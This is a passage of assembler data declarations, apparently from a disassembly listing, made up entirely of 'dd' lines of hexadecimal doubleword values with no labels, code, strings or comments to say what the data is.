7209CAD9h, 3CC0490Ch, 9E8E600Bh dd 91E414E5h, 0A73C1960h, 8823B017h, 0F1AA84E4h, 909B0FE4h dd 0EAA82140h, 89934308h, 3C04D324h, 0F6233F56h, 226CC20Eh dd 0E10875CDh, 0A820E2C0h, 0D9C7679Ch, 0AB449432h, 0CAD42045h dd 0BA314CF2h, 0CA6C26C9h, 0E469848h, 0E0E56020h, 63D1C4B7h dd 916081F6h, 0C496026Fh, 18CF6250h, 5C14959Fh, 27DC0E7h dd 4A62F829h, 44829102h, 7C46D948h, 9D88D20h, 0F8C26420h dd 0C9C8DC10h, 3A6079FBh, 1340D3h, 8B663086h, 67DD5C26h dd 6E24C480h, 0EB09D19Ah, 0EC034C90h, 58009871h, 0BA92DF2Dh dd 1EA71FAh, 22BD0A8h, 89AFE10Dh, 98AB1A88h, 81EF2AACh dd 88CC4E6Fh, 45BBC0F5h, 0CDA36E58h, 0D85D4CF8h, 0B7B18000h dd 9DF9A937h, 712F6FA7h, 5033491Dh, 0BEBCE400h, 1431D151h dd 0F716889Bh, 8906103h, 0EE444CDEh, 0B9D1h, 0B165D2A6h dd 0B901B80Dh, 992E3540h, 62C4CBC2h, 4428132Bh, 6EAC827Fh dd 917834ECh, 5825A726h, 520BD448h, 74FC48A3h, 78C782A4h dd 0F960F344h, 39F8E718h, 23D99312h, 0DE1674B2h, 2988D04Fh dd 31ECECDFh, 0CE8FA801h, 6DA63AA7h, 48D986F0h, 41218D2h dd 0A55C32AFh, 0CC530B20h, 0E4265850h, 6A92311h, 0F0A34C2Eh dd 594DF0F0h, 0BD2220A0h, 30F3753Fh, 1E4038ABh, 14819574h dd 6C6B5420h, 763A0F44h, 81D3EF6Ch, 0C290AAF2h, 0C74F5888h dd 29914E80h, 252C2398h, 0D872BA0Ch, 1F9C5620h, 0A7FD1425h dd 8110A466h, 62009AC6h, 417C2A2Dh, 5C3BBCD3h, 928E8124h dd 3356AECCh, 88AF6820h, 0A490A626h, 7BB9E700h, 40327778h dd 4C2D0BDBh, 1844EC3Fh, 1260BD44h, 21A60A3Ah, 0CA2A4B8h dd 0A859C298h, 94A5A74Ch, 2B34F4E6h, 0F77694FCh, 6D0132F0h dd 348F203Eh, 0A4418E21h, 0C4639E1Ah, 0B4908822h, 3D8D849h dd 0FD946A36h, 0D6301008h, 4AE2DF90h, 23442E61h, 0FF1DD1h dd 0C0E5F80Ch, 5C1347E4h, 1822A5A3h, 44B46C40h, 264EA765h dd 0E757DCD7h, 550198Ch, 0B5D33362h, 9672C01Fh, 1C09BE2Ch dd 7A68D8C1h, 0F2EB27F4h, 0DB98811h, 0F1ACC02Ch, 144DE28Ch dd 0A4B2DF8Fh, 8CA96FB2h, 807078DBh, 1C200E3Ah, 0B120D3D1h dd 2C263FF9h, 0BC8B550h, 0A1D4E08h, 4FD20810h, 3C3BA365h dd 8400CA23h, 0FD3D0356h, 0A6EA1DE5h, 59F066DFh, 104DE7Bh dd 3902CCC8h, 0E8047E5h, 0AFB90527h, 6CE675CBh, 0DBA51700h dd 2C91E23Bh, 48D56508h dd 0A0F00432h, 796432EFh, 18EEF1B0h, 27A72CBAh, 0F05340D8h dd 0EC2F76C8h, 0C2D820E5h, 0CE7478h, 6843E83Dh, 0FF072C3Bh dd 0F305F00h, 0D0CC198Eh, 6C6D11F4h, 3E6408B8h, 91D02AEFh dd 0C89CF844h, 84D37A84h, 0E4A18543h, 42EE08BDh, 2E5411B8h dd 0BC0D5983h, 0B715409Fh, 0F096257h, 16B33AA8h, 0AC4620A4h dd 0C0D22331h, 9C02BCDAh, 12932041h, 8068F4E6h, 0FF413D7Eh dd 690377AFh, 0E44A0AA2h, 27B0805Bh, 8CFB51BEh, 223A9831h dd 987ECBA0h, 0ED467Ch, 0B954785Ah, 0EC9CC44Eh, 45F90BAFh dd 2CC0746Eh, 67454C26h, 2F3B8AEDh, 19B2394h, 4158AF42h dd 3A1EE526h, 0C09E2C48h, 20C20830h, 688F1D43h, 0B3810820h dd 0F6024F91h, 0D8E99B9Ch, 12B058AFh, 0F4E04E09h, 9CF1AF4h dd 3C294123h, 5180266Eh, 7AAB5109h, 0BCA6C0CDh, 3E2DF300h dd 9580A51Bh, 18B0F6Eh, 1CA00C47h, 86CE575h, 3988949Eh dd 0BAA409Ah, 7C01C852h, 0D9413157h, 40608E06h, 6C1484ABh dd 1CA0BF3Eh, 81AD6DB8h, 0C664F2B4h, 5C26C035h, 275B03F0h dd 0CE952805h, 40C1EA70h, 7100453Eh, 0A0409834h, 0C8979DF8h dd 0A79FD391h, 6A005864h, 8A3F8886h, 12AA328h, 3AD6AD83h dd 45D75416h, 7D0C3AE8h, 0B2FD098Ch, 0C8E4422Dh, 52B7CE00h dd 916175BAh, 0C281001Fh, 6732A8F9h, 260F3322h, 2084CB1Eh dd 8F0530F7h, 239D0129h, 0A74632D7h, 0A2306345h, 0E6ED30F3h dd 129A23Ch, 2C7236CCh, 932FBB38h, 0E7B350F8h, 76031AE8h dd 292AF400h, 62235BB3h, 5EB8BEB9h, 491DCA46h, 3796014Dh dd 0D0CD5809h, 29057B46h, 0EB23E6A5h, 3E9BDC00h, 54035E30h dd 1D4190A4h, 404FE69Ch, 0ADF972E1h, 6A0338CBh, 0D199291Dh dd 0F729009Eh, 0FFC5F6ACh, 77383DC9h, 1F338045h, 0EB3FB3A7h dd 0C47C1C01h, 42E42699h, 48C06AD2h, 0C2009258h, 136D2957h dd 165E6F81h, 6024A985h, 8A9A4C14h, 967D7127h, 545D0784h dd 0D05E0B9Ah, 2EEA35B9h, 0E526213h, 4E18CF0h, 907D5423h dd 0C8808E9Bh, 92FEC0DCh, 0DE2C5663h, 2455042h, 7A8F9420h dd 0DA970023h, 28A5CA3Ch, 8A00341Eh, 0B3EB4A55h, 0FB6A64C0h dd 0F2BCD52Fh, 3096F2DCh, 0AB00BA86h, 0C1531C65h, 2734257Eh dd 84CD2Ch, 97A40C7h, 131A3245h, 54CFF499h, 2F4B6448h dd 0F623D0h, 0BE4096DDh, 981FA248h, 14C66C5Eh, 2578A8B8h dd 0C4CDCE03h, 0F882BAC0h, 187BE6h, 17C41D52h, 0AA2A60E0h dd 79DC9650h, 392B5900h, 3CC8A26Bh, 47C989Dh, 0DE5FBA9Fh dd 5234C0BEh, 0AC24E4A6h, 0A20A3023h, 9143EC59h, 5E3002C2h dd 0C5803472h, 0E28AB045h, 9244C8C6h, 0B6698065h, 0A253FD20h dd 9722C8h, 79082464h, 5AB739E2h, 41543C02h, 0F8DD7476h dd 0BB803098h, 4B05989h, 8D3CB700h, 0D1AF98FDh, 0DCA24C1Ch dd 449E9D22h, 563FCC40h, 34C16AFh, 840405B5h, 0F778B2CAh dd 492E0D8h, 0BC001453h, 7918DCCh, 5344FDAh, 0D34168D0h dd 1F48A858h, 79C67A66h, 89DD01h, 649FBFF6h, 62E11770h dd 6B167B16h, 40CEE4A0h, 1C48B4AFh, 3341C0ACh, 3B9EA9F2h dd 402CD123h, 5CB0E8C0h, 87009546h, 0B512635Fh, 0DC91D8F3h dd 0D618D1D1h, 8490B30h, 1CF7D8FAh, 0EFF04262h, 188581Dh dd 3F67AAh, 180D1235h, 0E43AF35Fh, 7500CB23h, 43467B29h dd 284D0272h, 842C4F76h, 933E5C60h, 0BCA8A1CFh, 0BB107585h dd 0E456A40Bh, 77F402ECh, 0A6E68EF2h, 40A04320h, 29D20062h dd 0CD258B17h, 0AA70DEBDh, 0AF44A2B5h, 1CF5E01Eh, 0D68B3C1Ah dd 399A9226h, 4F0D017Eh, 5CCE5391h, 6F606562h, 0DB243804h dd 90270C91h, 0B180B8E0h, 8BAE00E0h, 96A5DDC1h, 63812800h dd 0E0034772h, 48B902BBh, 0BFE6BC6Eh, 0D926C840h, 4CE33D2Dh dd 5815955Ch, 0A080ED91h, 42264E32h, 4CC02509h, 0A24C0272h dd 2C410F9Fh, 2BF0BE58h, 0E623C03Ah, 29F46C02h, 46684079h dd 0D4142526h, 0BE13FCE8h, 0AF252784h, 0F211341Fh, 5C15E780h dd 7F711ED7h, 641326ECh, 9491F956h, 226AE6B4h, 222430Ch dd 779448A7h, 86170097h, 0AE62F575h, 0C42FDB03h, 3AB0181Dh dd 259080ECh, 0BD622414h, 1104748Ch, 0C180AE85h, 8FD0D900h dd 8C03DCE9h, 71352A6h, 40D89024h, 81184E76h, 26A8F2DCh dd 183BF078h, 0F614019Fh, 20CCA555h, 2F5BFD61h, 56C40Bh dd 8E891024h, 14240B1Eh, 6C24D41Ch, 0CB5A43CDh, 0DEFAE96Dh dd 255FE8C0h, 6CE5F7B2h, 5067F3E4h, 0BA8161C9h, 84242F70h dd 46744449h, 14EB00F0h, 0DCF7D594h, 5054F446h, 4B07D8E4h dd 5274908Eh, 38999CF2h, 86A9EDF0h, 0A276B803h, 7A131046h dd 0B956F019h, 0F33D0BF0h, 8F00A464h, 548D8088h, 8A0DA7h dd 7F99DD37h, 0BBCA8CCh, 0A3FAAC01h, 2443DEE9h, 0B7235194h dd 0E0A7DD2Fh, 7064C8DAh, 0C8E8E649h, 0FB002A9Eh, 0BA637205h dd 17BD462h, 699412D8h, 3CAF6F6Eh, 0F5248020h, 0F37573h dd 2D5A6C32h, 8E5C615Bh, 2B4EBC1Fh, 56B3F401h, 406E41E2h dd 64F28918h, 9D9DEBB6h, 82D19130h, 0C0572BB3h, 12895D4Ch dd 41F664BEh, 0A31EC4DCh, 0C00902D9h, 80B9C208h, 785E2423h dd 3FF8BC01h, 13B5C1Eh, 0E26C26F8h, 23C00C9h, 0D140CBECh dd 2500347Ah, 2D2A4798h, 3F51231Ch, 0ED825AB8h, 0B321534Eh dd 907958F9h, 4E704D18h, 0B1B72716h, 47BE0C04h, 3C82B8F8h dd 0A47CFAD4h, 0CFCEF889h, 0A1C140CCh, 0C90056ADh, 46B66C3Dh dd 0BED21462h, 0E237B83Ch, 5CFA9031h, 0F011FD5h, 8744DE55h dd 203E26B1h, 302C40C8h, 0FA4F9710h, 0A01E4604h, 1094FDB5h dd 0C2FF55Fh, 0C79A2C27h, 188BC65Ch, 142F955Ah, 6E03F023h dd 0DC5A7F6Bh, 0A5105C91h, 7C25C600h, 2E09D89Eh, 0A264E191h dd 2984D1A4h, 8C0A4ACh, 0C001BD4Ah, 0B155A1DAh, 76D85EFEh dd 5803CA46h, 7FA47C61h, 0CF381FB0h, 0F11BE609h, 0E96870D8h dd 0DB4CA000h, 480460B6h, 0D082ADD3h, 0F09CD123h, 186AA01h dd 1FDB68B9h, 2125FE79h, 0A4173ABEh, 4848A0A2h, 1C8CF4E8h dd 7FA7334Ah, 8F0593h, 4C243AE0h, 562D71E8h, 10444D9h dd 0B543D370h, 0D0762C5Eh, 0A60BF7A7h, 0F906FFF4h, 189B712Ch dd 0F0391342h, 81DCE8F5h, 0EDF35420h, 163AD880h, 0AA906089h dd 0FB5EF89Eh, 3A07DD18h, 14722F0Fh, 25F85889h, 2C45EC8Eh dd 9160F0E4h, 815CE49Bh, 0E1CC8794h, 415019F0h, 15DF1F6Eh dd 305DCF6Dh, 10758D27h, 45FC24E0h, 0BF2675h, 2B5C56B8h dd 0FC6C483Ch, 0F4017A13h, 0C23B738Ch, 963A0370h, 0A857CDB7h dd 0EEA0FE8Ch, 5E121F32h, 580AC04Ah, 3045611Fh, 0FE14002h dd 6E9D3880h, 971B00E8h, 649F4F20h, 6A48A3D1h, 3DD70226h dd 0E20BE5C7h, 5AE4E24Fh, 0E8629F78h, 37BD807Ah, 193F0E14h dd 0F8D780A5h, 6DB8046Ch, 0D488C070h, 0CDEA80C9h, 13BC4780h dd 49B81423h, 0C41051D0h, 6C546DA0h, 53090B98h, 0D0A6AE05h dd 3EE34418h, 0D3493F09h, 6CAC04AFh, 800020FCh, 71E54237h dd 0BE59942Ch, 9BF01380h, 1222014h, 996F8EF1h, 176F601Ch dd 0F97C2004h, 130071A4h, 0F6CAC390h, 0B0A1CFh, 0FDE2214Eh dd 5F27523Eh, 226E8617h, 90F2FCF3h, 3E39C30h, 4A21C5B5h dd 8100DE81h, 644659BDh, 30848543h, 0EE0ACB1Dh, 917EB5E0h dd 6CC86B5Eh, 0FD8A3FA7h, 0FA97C000h, 281636DFh, 0EB1C7D00h dd 8D65BB0Ch, 0BD947046h, 0A5B6D4A0h, 1B00EA7Dh, 32D3DD5Dh dd 9342590h, 0A9B44679h dd 237090D3h, 900098C2h, 0BCE62048h, 240DCA3h, 6352A2FCh dd 9A058ECh, 0A49080DBh, 0E8D0E6C0h, 5751CFh, 7E179F3Fh dd 7AB67F96h, 273D4912h, 39C81C08h, 52C099E1h, 8B68758Eh dd 7886BEC0h, 764017ACh, 5654C0F0h, 34A1AC80h, 293F10EBh dd 0EF0400CBh, 38F064F9h, 0AB0DC7Ch, 5C44E507h, 56298E4Bh dd 43A34400h, 133C87D6h, 16F363F9h, 1D3C05F8h, 0CEE0CC70h dd 8490608Ah, 4C1C80C0h, 1363AD20h, 0B1180DCEh, 0CFB1C014h dd 645C6795h, 448064EDh, 980E2DEh, 0B64FDABBh, 0A29F7400h dd 0F0BA8E54h, 80993831h, 3B7BC0C7h, 1D72344h, 12B86863h dd 2E23C5C4h, 0FA520020h, 92F3E06Eh, 403C94E8h, 15C50432h dd 0BCD24F02h, 84C8CEBDh, 2D0BC1E4h, 0E4F16059h, 3B71A318h dd 1C921612h, 97EC30A8h, 1D2FA8Ch, 0EF9B0EE5h, 2A1DC666h dd 0DD12D85Ch, 0C210C8E2h, 14910495h, 26009BD4h, 0C47AFD4Eh dd 30611C00h, 6A9319CEh, 54B55D5Ah, 0AC9B4612h, 8CDCECD8h dd 5EC56000h, 0D639E0DFh, 8A80C58Ch, 23983AA2h, 11AA04E7h dd 9C04818Dh, 58C09FD8h, 6FB52A40h, 2FE839D0h, 906448DEh dd 0CAD81410h, 96F161Eh, 0B070301Ch, 1E326208h, 4891798h dd 5FAAAACh, 0E0AD58E6h, 1200A122h, 1123F0A9h, 4E46039h dd 75A632F7h, 527CF028h, 721C4704h, 4CBDF22Ch, 29D4D11h dd 3B5CD223h, 5A90503Eh, 9EAC40D1h, 0F4DF6C7Ah, 45EC3800h dd 566DBAD0h, 63D40009h, 3498AC2Fh, 7F1DDA1Bh, 0ED970DF4h dd 413A24E4h, 9F1ED1BBh, 5916D30Eh, 5A95C804h, 99242501h dd 34486479h, 2EF53Dh, 0D6B8E7A0h, 169E31Fh, 23E27220h dd 864C6044h, 0BD12651h, 1D4679D8h, 0AEBE3EF8h, 0E9A360CCh dd 61958D05h, 0C207CC50h, 8C59A073h, 960E4085h, 541CCC90h dd 9C3B2F7Bh, 82243007h, 38F25C4Fh, 0FB2DEA78h, 0C4066F9h dd 0E1383E40h, 4F3244F1h, 4346598Fh, 0BE180424h, 0B3A70999h dd 30E6A22Ch, 0C00011FFh, 46D63B90h, 0B7EEEC0Eh, 9FE36022h dd 3980E419h, 0F1D2E959h, 0A7E74264h, 0B8681920h, 9EED2420h dd 0BBF08B90h, 1C42105Eh, 31A01B0h, 0A3A03CCCh, 8B03A44Ch dd 0E4A47C14h, 50431678h, 0AD04682Ch, 5EC0206Dh, 58A3DDB7h dd 50163013h, 661C91C3h, 0C1BC0C67h, 1E4A60F1h, 25C69B5h dd 0ABEE281Ch, 80BCFE81h, 6ED2225Dh, 5C01187Bh, 0E9A1AFC8h dd 50D8B80Eh, 9C109573h, 0DC0953C9h, 845667C2h, 2341BA48h dd 83F23Ch, 5B023260h, 5828A4BDh, 2C0139EEh, 0CBB8F87h dd 9C2BC640h, 0A225AE70h, 416CA05Bh, 1CA5272Bh, 350B867h dd 0E820A826h, 9CC8D14Bh, 287DDDh, 8E1BF672h, 88A82E6h dd 9F4E3300h, 0FD626745h, 4C5975Ah, 4460F3E4h, 0D500D4E7h dd 1372260Eh, 956D0CCh, 0FA580BB6h, 328EAB01h, 0A7403486h dd 0DE302E50h, 24383416h, 0C48084E8h, 1F8ED80Fh, 0E71E97F3h dd 2E3B8F4h, 0E47AE2B2h, 8407DF0h, 0F47903EDh, 6B542609h dd 2FC4F2FAh, 84E3CBA0h, 0F02A4830h, 0CA5213Bh, 0AD4330F7h dd 0A444DE90h, 0F4B1093Ah, 38892C6Dh, 8DD16851h, 480EDB18h dd 4052378Fh, 0C08B9660h, 0C2E3265Ch, 0C0D95210h, 98189179h dd 55417700h, 3FF7F478h, 0DEEE122Ch, 82C0E844h, 76C4243Ch dd 464209F8h, 0FBA36420h, 309643DEh, 8F81480h, 90EB50E7h dd 37800980h, 0C56AC64h, 0F8025961h, 9051FC61h, 3B7AC990h dd 5F32368h, 0C198BB52h, 381403F5h, 0E4F489F0h, 0D09F4E10h dd 0E8C01E88h, 3C34D74Bh, 5200D0E9h, 0E8E73E27h, 13581E39h dd 29A00079h, 0C0C65383h, 2078C2E0h, 0F054434Ch, 37815F00h dd 97AAB799h, 0F16BD4C0h, 24089102h, 5BAF3814h, 16460560h dd 0C134A188h, 0E8F9A60Ch, 25978208h, 87297890h, 34262F09h dd 0E2E8233Ah, 2A3E251h, 45EE3D1h, 48424244h, 8060AED3h dd 280A9B5h, 0C829C0A0h, 2474E4EDh, 7C00967Eh, 823863DBh dd 26BAE323h, 1F508A6Ah, 0F8A5AF12h, 0E9BE164Ch, 60BC2DF0h dd 167729D8h, 0E323D170h, 3296E2D0h, 87DBFA80h, 610099FAh dd 520BB0CDh, 96575468h, 0BD25BBCCh, 8E1410A0h, 16133A30h dd 0C8A420C2h, 60E688E3h, 50A2F1D2h, 1230EEF2h, 0AC142D8Ch dd 9DF06CC8h, 85D180C8h, 21186E40h, 2AC844DCh, 4C6498h dd 43878EAFh, 5E46B776h, 263F8602h, 76FC25A6h, 58A20944h dd 6E100464h, 145CBDD0h, 802C9B97h, 7A2846F4h, 18A3E40Fh dd 41DC87E5h, 141E4315h, 65004C4Bh, 0EDF21E1Ah, 4E49718Ch dd 0EC24C598h, 20B8D288h, 8CF2ACh, 42C4537Fh, 4CB87B05h dd 0A8023F5Ah, 70481E40h, 0C90802D4h, 5C1423C4h, 0A809407Ch dd 0B0900206h, 311600A4h, 0EC09E5D8h, 5442D179h, 5427020Ch dd 6C44F777h, 5AFCAB40h, 23683BA8h, 756E03F2h, 23A8B2F4h dd 0D092B41Ch, 423AF700h, 0D11E4EA2h, 44D55CEFh, 0E41F6D27h dd 2F819411h, 393BDE66h, 46AA0514h, 9CB02A6Ch, 0C9149E90h dd 906490E5h, 1A5BFB60h, 9F1B0C01h, 922E5262h, 0D25E0C34h dd 0F23CE259h, 0C2AE3091h, 0F24F4E16h, 0A47F7C06h, 0D190B1B0h dd 262818D2h, 8987B09h, 6E1CF4B3h, 4DF78880h, 2535FB2Ch dd 0C42B1649h, 4812EC27h, 0D40C7104h, 19294CB0h, 0A92AA76Fh dd 9873A9h, 0B0BE1B25h, 1C9F456Ch, 413B2DB7h, 0F6754BDDh dd 0A9E44204h, 4BF85323h, 88E4CE26h, 456FC0F0h, 0DE258118h dd 0CFC7378h, 3891C580h, 92FF0100h, 4AB7DD5Ah, 5F2E03FEh dd 8191339Eh, 8362F7D8h, 29002A77h, 87EDB5A5h, 1240B9C0h dd 0BDE74876h, 0F95B1008h, 1817184Ch, 0C2E8A9EEh, 0E02DCD4Fh dd 95DA2440h, 0C313F8C6h, 0D0F0F00Ch, 809E1D31h, 0B4388136h dd 287A4C2Eh, 0E85BCA4Ch, 11F01D27h, 9789F3h, 8753C3FDh dd 2C721206h, 0D82880ACh, 0B9407A52h, 943B26D7h, 0D06DAFACh dd 34031C7h, 0BB91B61Fh, 189771A4h, 8C7B1363h, 2BFB0981h dd 0C601D8DCh, 0D9F11B9Ch, 0BCC01820h, 74A42CD4h, 0E5009646h dd 105C7499h, 0B9F69304h, 0CB5DA225h, 0DD710EE4h, 0FD16B509h dd 20AF1EA0h, 0DA150240h, 7ACCEC01h, 739101A4h, 0AC341BC4h dd 0DC226ADFh, 64A62156h, 101C7A32h, 9828A7CEh, 0FE125851h dd 0B5991290h, 0B2804B4h, 878018EBh, 0D2B9085Fh, 0C8A8D830h dd 0E69D1DA0h, 0B0AF4E26h, 82804F6h, 0C34DFA8Eh, 14EC58F0h dd 0A3A21250h, 94730829h, 96B03846h, 0AD02D1EAh, 641471CDh dd 5E2C89A6h, 30D96980h, 0B718EF59h, 46A59402h, 0C7B006E7h dd 60F6C490h, 2D8AE7Ah, 0C884E7A6h, 3CC076DBh, 2E80C5A8h dd 5C161348h, 3A6C88D8h, 21A741C5h, 0E6C500E8h, 470EF8Ch dd 270C991Ch, 445932A5h, 97B420Bh, 34D4B7h, 0C8A23340h dd 2CB5C291h, 956D1854h, 0B7AF048h, 40F65317h, 85C85008h dd 0A851B46Eh, 9737044Ch, 52723Fh, 0B2E14C28h, 522CCA09h dd 0CD8A3C16h, 3A08BC0Fh, 4F140199h, 3695A675h, 342F5A5Ch dd 0C803D123h, 0F975190Ah, 121A374h, 95803C7Ch, 6F67DAA2h dd 18BCE901h, 46065871h, 0A6D8D42Eh, 0BE7EF0B8h, 0A447003Dh dd 0F47BD218h, 4A2F6059h, 0B4DC60AAh, 0A931C731h, 0E882C4C2h dd 0B712DE4h, 0D02CFB5Ch, 6D01D327h, 32572D14h, 0F53178DFh dd 0ADE4482Bh, 0F4786CABh, 733E0975h, 98471AE6h, 0D760F4C4h dd 38E45CE3h, 0F0F22824h, 0A4EA08h, 460B8629h, 0C493AAFDh dd 98A2D10Ah, 35C0A80h, 8E8402h, 7654B725h, 0C689EDCDh dd 0A262C0B4h, 0A7AC7C5Bh dd 730B8871h, 3F6D0086h, 5B94853Ch, 6ACC20BAh, 1A000C47h dd 6E786CF4h, 4F9DBC97h, 5E9CE008h, 9450E197h, 0E00BB401h dd 5B5AAB17h, 7445F471h, 2E21BC08h, 3152C205h, 0E9D4E040h dd 605D740h, 642423CDh, 0CA2740BFh, 0FA481206h, 30414554h dd 9F44FFC8h, 0B441954Eh, 0B37DE2A2h, 72381B20h, 67D230F1h dd 0DE4ECE02h, 62BC085Ch, 0DF749C05h, 0C4D314B6h, 1E3861C4h dd 0A4223B9Bh, 1FA06889h, 98E49D1Ch, 0C772DB0Fh, 0A3372426h dd 7C01F0A5h, 0DFECD520h, 0DE9C272Bh, 6293FCD9h, 2382D8ECh dd 0E8E97444h, 0D9219651h, 0C58238C3h, 0E222202Ch, 583C88A1h dd 1AF0BC41h, 189D61FEh, 219BE98Bh, 0A2701814h, 700290A2h dd 8484759Ah, 0A49B856Dh, 0A8A8D184h, 14257208h, 7F0C62E8h dd 0FC25A091h, 0FC0086CFh, 8C70570Ch, 2CE0B542h, 9D684629h dd 6FAB49B3h, 0A80CFC07h, 0DC5F901h, 23ABFE4h, 0EE6B5428h dd 0B8896E03h, 0C0B9DB62h, 74239D9Eh, 0DA3DB7E1h, 5F8F8085h dd 4DCFCE29h, 602090F0h, 0BBDF2024h, 417BABBEh, 0BF832901h dd 9F1FF923h, 4A2AEFD0h, 3989030h, 0E80F86AEh, 8F2E68h dd 0C832F14Fh, 165013E2h, 4240E87h, 2FF024A0h, 0A0F8B791h dd 0A99F0916h, 0D4B824A9h, 430005EEh, 2BF6A21Eh, 0BFD66426h dd 1588D4AAh, 6205FC84h, 0F1464A3Ah, 0DC6E2B14h, 75552500h dd 80F023BDh, 0AFF52216h, 8EAE9CB8h, 0D79D20CCh, 0E895C6E9h dd 842C50B6h, 83A6239h, 45031198h, 7920188Fh, 935B086Ah dd 0CC1D3480h, 0F009E720h, 63668140h, 0BC3E20F4h, 0E9820819h dd 59888B68h, 0E40C2589h, 400C18D2h, 11C4B405h, 0FC062D2Fh dd 0E5830837h, 96164818h, 0C6206E08h, 84A2B18h, 18F32131h dd 0DC017499h, 3B12013Dh, 0F140888h, 8097608h, 5F0C1BC4h dd 639870E8h, 394208FEh, 0E5751811h, 0A331D420h, 1F2A08FDh dd 10DF2091h, 0B522EA2Bh, 8CDE131h, 9F03D5DAh, 4031988Eh dd 0D02910DEh, 98A8088Ch, 10633A18h, 183C2550h, 189B5C08h dd 8C4AA17h, 0A804F06Dh, 0E04A06F1h, 0F2332040h, 10DC4831h dd 6001BEE6h, 0DB48880Ah, 295418A5h, 0CD80CEC4h, 6920C622h dd 0C72010D8h, 0B091542Bh, 10156252h, 0F802977Ch, 41A20326h dd 990D0833h, 6361EE5Ch, 0F7D848E3h, 0CF071010h, 3188B32Ah dd 6218BF10h, 0C30895A6h, 6F271280h, 82C3448h, 130C499Fh dd 6355080Eh, 5CA730EDh, 0D3010818h, 811C1138h, 6B918C18h dd 407B0832h, 0C463273Ah, 10C78130h, 58EC0E08h, 48F9669Fh dd 81626608h, 5D5411F2h, 70638794h, 63F49410h, 408AD139h dd 0F5D61810h, 1004CA19h, 6C5024E6h, 0CCC7EF40h, 54D134C1h dd 81E5E1CCh, 28C962EDh, 0C1061DD2h, 983954B9h, 8E7635Ch dd 2818BBF8h, 608918Fh, 0EB28CA43h, 0C3D988ECh, 1823D30Ch dd 8B934026h, 1D40DF66h, 0C66F77D1h, 28242908h, 0AE993D66h dd 91E46649h, 8CE0095Ah, 4AF66781h, 0F038A234h, 42DD035Ah dd 5EC04010h, 3290512Ah, 6908CBA8h, 0A7969048h, 0E42594AAh dd 0F5C844D2h, 184B04C0h, 438E904h, 24091944h, 921CAC24h dd 7C493F30h, 5FFC52A1h, 0A14A8A2h, 2A311803h, 6290BB08h dd 306B6178h, 7C97ED04h, 7118EBF6h, 34F38112h, 36404F14h dd 4398A9F8h, 64597834h, 0D18D0879h, 1CC3310h, 6F001309h dd 814CED76h, 299480A4h, 584E0302h, 0C021CECh, 765BEA2Ah dd 8CD224C0h, 0DB74C60Fh, 162000E0h, 89CA219Bh, 5E496086h dd 19223Bh, 0FC04E0A3h, 0EFB57523h, 5FDAD3D0h, 1ED4F2FFh dd 0A70099BEh, 4DBF1E38h, 7EBA0FAh, 0E8000AFh, 4ED9A8EAh dd 0B90090E1h, 84C0C118h, 1EC6D195h, 0C09AC838h, 21AC9188h dd 300947A3h, 40C78057h, 3DC4E98h, 19382018h, 0AAD3F188h dd 83CC53E1h, 0FEE04EE9h, 0A8AC8833h, 6508F0A6h, 835711FFh dd 2802B9C5h, 4C45C746h, 0FF1CA0CAh, 208018EAh, 80E17EA8h dd 0A3BD2611h, 0B8D5E51Bh, 0B57403FEh, 0F5CD1C3h, 584CF000h dd 0C5A949DBh, 0FC29006Ch, 40D93FBh, 0C964580h, 3CED6716h dd 0B50F224Ch, 62C38EF4h, 0B380BECBh, 0A9039B49h, 78D208E0h dd 0B85801D6h, 0DED1A3CDh, 8010B933h, 6C7B66C0h, 9BE598h dd 29C777E8h, 10C3F9EBh, 4E1F6A00h, 69E4B001h, 7F280085h dd 93E84626h, 520CDAA6h, 88705480h, 0ADFE3C0Eh, 0F403162Fh dd 0E05A2990h, 60930E4h, 8805F7Eh, 9D042061h, 0E588B71h dd 7868F0A9h, 0BC560018h, 0F7B84DBEh, 0B5AD2302h, 51A4DF4Eh dd 681D8ED4h, 60580750h, 9103B0EEh, 254006B4h, 303964E6h dd 0BA3C821Ah, 2284E028h, 0A081B7A9h, 51CB16A0h, 2FB2E6A0h dd 0F7998000h, 0C3AF3480h, 0A4EA4898h, 10F1A6C7h, 50DCCE1Eh dd 21769C0Ch, 2A54B07h, 0C2792060h, 9D7CF472h, 782AB1CCh dd 90C5E8B6h, 70456270h, 7E00A89Eh, 2DC9620Bh, 0AC06FA82h dd 0D1182820h, 0ED41BB90h, 19B666A2h, 0C97C6052h, 1B102661h dd 107FD5FDh, 29148480h, 2485A4F0h, 7EB0272Ah, 38261413h dd 459D2387h, 80AC0648h, 8A75E11Fh, 268BB8A1h, 0D480162Ch dd 53684E0h, 93435E31h, 378A899h, 0F95856C1h, 0B7190230h dd 79E6B3A8h, 27332870h, 7C9950A5h, 6ADB2A08h, 0E1871FF8h dd 0D896419Fh, 6E32D201h, 2D375400h, 2ABF7B3h, 0B5B8FA58h dd 0DB81CCEEh, 8064A680h, 3BA78B88h, 6081E6A1h, 8A7150C4h dd 78A00D58h, 84A433B0h, 0B8FCC01Ch, 777E09h, 0BEB38E9Ch dd 0A5C8A9F2h, 40D9844Ch, 19D46D0Ah, 31BB054h, 8F4C06D5h dd 8462D45h, 0A068802Ah, 0A5040E03h, 9F2A1086h, 0C4EBEDB0h dd 0D2161660h, 28D0C043h, 7095F496h, 25E634F8h, 0E0C85C1h dd 0C5E95214h, 0AFC5828h, 964FD29h, 0F003A360h, 0C8249241h dd 0C93C3CC8h, 33025830h, 0E0BB29B9h, 0A318615Eh, 600AA2A3h dd 9478280h, 57678833h, 0EABC1084h, 9F4CEC46h, 10DC81D0h dd 0EE22900h, 0A7D08900h, 0E9D21C86h, 0A8983Fh, 9E95525Eh dd 6D31C071h, 0CA2CBB03h, 7B5DBFD1h, 4EB12420h, 64D9158Ch dd 189E5208h, 87FE1A38h, 0D1B6C0C0h, 2919C340h, 1A08694h dd 6954DF80h, 0C17EB4C4h, 0E50928A6h, 41B0CA2h, 6712B2C4h dd 63A80310h, 0E45A6005h, 2C82209Eh, 0C3E8841Bh, 41D66C9Ch dd 580051B0h, 82F4480Ah, 710EC430h, 1271A3DDh, 370F5888h dd 0BC288804h, 22CC6251h, 0C0544030h, 8B979B09h, 467C0295h dd 0EE990068h, 0C960B480h, 87D8C648h, 24009FDEh, 0CF67C8Eh dd 2C95F718h, 54D24B38h, 0F62EAC61h, 79D7DC3h, 0BC8CBFF3h dd 9638409Ch, 9E0017C0h, 0F415C9DCh, 1C2B535Fh, 96CBA6F5h dd 8654043Ah, 0F8EF4CAFh, 408C407Dh, 3110BF62h, 18180974h dd 949A30D1h, 0E1580B01h, 0A5F7B63Ch, 20F087E9h, 694B39Bh dd 381AA6E6h, 